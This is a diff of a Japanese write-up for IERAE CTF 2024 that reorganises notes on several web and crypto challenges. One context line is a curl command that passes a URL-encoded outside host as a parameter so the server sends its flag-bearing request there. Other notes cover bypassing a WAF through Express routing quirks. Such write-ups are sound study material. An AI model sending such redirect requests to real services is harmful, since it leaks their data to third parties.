ctf/IERAE CTF 2024 writeup.md
... ...
@@ -2,6 +2,7 @@ IERAE CTFは初参加です。楽しかった!
2 2
3 3
チーム名: `at24`, ユーザ名: `takanotume24`で参加しました。
4 4
5
+# Web
5 6
## Futari APIs
6 7
`frontend.ts`の
7 8
```javascript
... ...
@@ -28,6 +29,29 @@ curl "192.0.2.1:3000/search?user=http%3A%2F%2F192.0.2.2%3000"
28 29
29 30
で`192.0.2.2:3000`に向けてFLAG付きのリクエストが飛んでくる。
30 31
32
+## babewaf
33
+解けなかったけどいくつか勉強になったことがあるのでメモ。
34
+- expressはデフォルトでルーティングの際にキャピタライズを考慮しない。
35
+ - <https://stackoverflow.com/questions/21216523/nodejs-express-case-sensitive-urls>
36
+ - `/GIVEMEFLAG`でexpressを貫通させて、なんとかHonoに拾わせるのだと思っていた。
37
+ - Honoは`/GIVEMEFLAG`に対して404を返してきたので、デフォルトでキャピタライズを考慮しているようである。
38
+ - expressになぜこのような仕様があるのか気になる。
39
+- expressでは正規表現の`*`文字は通常の方法で解釈されない。
40
+ - <https://expressjs.com/ja/guide/routing.html>
41
+ > Express 4.xでは、正規表現の*文字は通常の方法で解釈されません。回避策として、*の代わりに{0,}を使用してください。これは、Express 5で修正される可能性があります。
42
+ - <https://github.com/expressjs/express/issues/2495>
43
+ - 以下のルーティングに問題があるのではないかと疑っていた。
44
+
45
+ ```javascript
46
+ app.get(
47
+ "*",
48
+ createProxyMiddleware({
49
+ target: BACKEND,
50
+ }),
51
+ );
52
+ ```
53
+
54
+# Crypt
31 55
## Weak PRNG
32 56
<https://zenn.dev/hk_ilohas/articles/mersenne-twister-previous-state>のプログラムを拝借したところそのまま動作した。
33 57
... ...
@@ -222,25 +246,6 @@ if __name__ == '__main__':
222 246
</p>
223 247
</details>
224 248
225
-## babewaf
226
-解けなかったけどいくつか勉強になったことがあるのでメモ。
227
-- expressはデフォルトでルーティングの際にキャピタライズを考慮しない。
228
- - <https://stackoverflow.com/questions/21216523/nodejs-express-case-sensitive-urls>
229
- - `/GIVEMEFLAG`でexpressを貫通させて、なんとかHonoに拾わせるのだと思っていた。
230
-- expressでは正規表現の`*`文字は通常の方法で解釈されない。
231
- - <https://expressjs.com/ja/guide/routing.html>
232
- > Express 4.xでは、正規表現の*文字は通常の方法で解釈されません。回避策として、*の代わりに{0,}を使用してください。これは、Express 5で修正される可能性があります。
233
- - <https://github.com/expressjs/express/issues/2495>
234
- - 以下のルーティングに問題があるのではないかと疑っていた。
235
-
236
- ```javascript
237
- app.get(
238
- "*",
239
- createProxyMiddleware({
240
- target: BACKEND,
241
- }),
242
- );
243
- ```
244 249
245 250
## derangement
246 251
... ...
@@ -249,7 +254,7 @@ if __name__ == '__main__':
249 254
250 255
とする。
251 256
252
-`candidate_char_set`の中から、`appeared_char_set_dict[i]`を削除するとi文字目の文字だけが残る。
257
+`candidate_char_set`の中から、`appeared_char_set_dict[i]`を削除し、残った1文字が`magic_word`のi文字目の文字である。
253 258
254 259
<details>
255 260
<summary>クリックで展開</summary>